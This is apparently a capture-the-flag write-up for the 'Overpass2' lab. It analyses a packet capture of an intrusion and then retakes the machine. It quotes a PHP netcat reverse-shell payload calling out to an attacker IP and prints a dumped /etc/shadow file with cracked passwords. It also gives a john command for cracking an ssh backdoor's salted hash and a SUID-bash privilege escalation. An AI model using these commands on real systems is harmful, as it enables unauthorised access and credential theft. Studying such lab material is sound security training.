Overpass2

We are given a capture of traffic in the network at the moment of the attack. Let's use wireshark to analyse what happened

In the tcp stream 0, we can see that the /development endpoint is reached.

On this endpoint, a php file called upload php can be retrieve, a script which may allow to upload files. We can also see in the tcp stream 1, that attackers have uploaded a php script containing the following command:

&1|nc 192.168.170.145 4242 >/tmp/f")?>

Which must force the webserver to throw a netcat reverse shell to attackers when accessing this following url:

/development/uploads/payload.php

The top stream 3 show the traffic of this reverse shell, and show in plaintext what commands were used and the results of thoses commands.

Attackers privesc to the iames account using this password; whenevernoteartinstant

They also downloaded a program: git clone https://github.com/NinjaJc01/ssh-backdoor, which must be an ssh backdoor.

In this stream, the content of the /etc/passwd file is show:

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sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
svs:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james: \$6\$76S5e.yv\$hqIH5MthpGWpczr3MnwDH1ED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GEl]JjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:\$6\$. SqHrp6z\$B4rWPi\emptysetHkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJ1FHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$$Wyb58o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
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Thoses password could be cracked:

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1qaz2wsx
                  (muirland)
abcd123
                  (szymex)
secret12
                  (bee)
                  (paradox)
secuirty3
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We can find the following informations analysing the code of the ssh backdoor on github:

hardcoded hash: bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3 hardcoded salt: 1c362db832f3f864c8c2fe05f2002a05

And in the network traffic :

hash used by attacker: 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

We have a hash and a salt, we need to combien them to make it crackable Our crakable hash is in the form password\$salt

We can now crack it using john the ripper, but we need to precise that we have a sha512 hash with a salt

sudo john ssh.hash -format='dynamic=sha512(\$p.\$s)' -wordlist=/usr/share/wordlists/rockyou.txt

We get: november16

Let's connect to the SSH Backdoor.

ssh james@10.10.7.215 -p 2222 -oHostKeyAlgorithms=+ssh-rsa

We need to add -oHostKeyAlgorithms=+ssh-rsa because open-ssh deprecated the ssh-rsa protocol

Searching around the system with linpeas, we can find a weird SUID binary at: -rwsr-sr-x 1 root root 1.1M Jul 22 2020 /home/james/.suid_bash

Executing the script, it get us a bash shell, but without the root permissions. To make it keep the root permissions, we need to add a -p /home/james/.suid_bash -p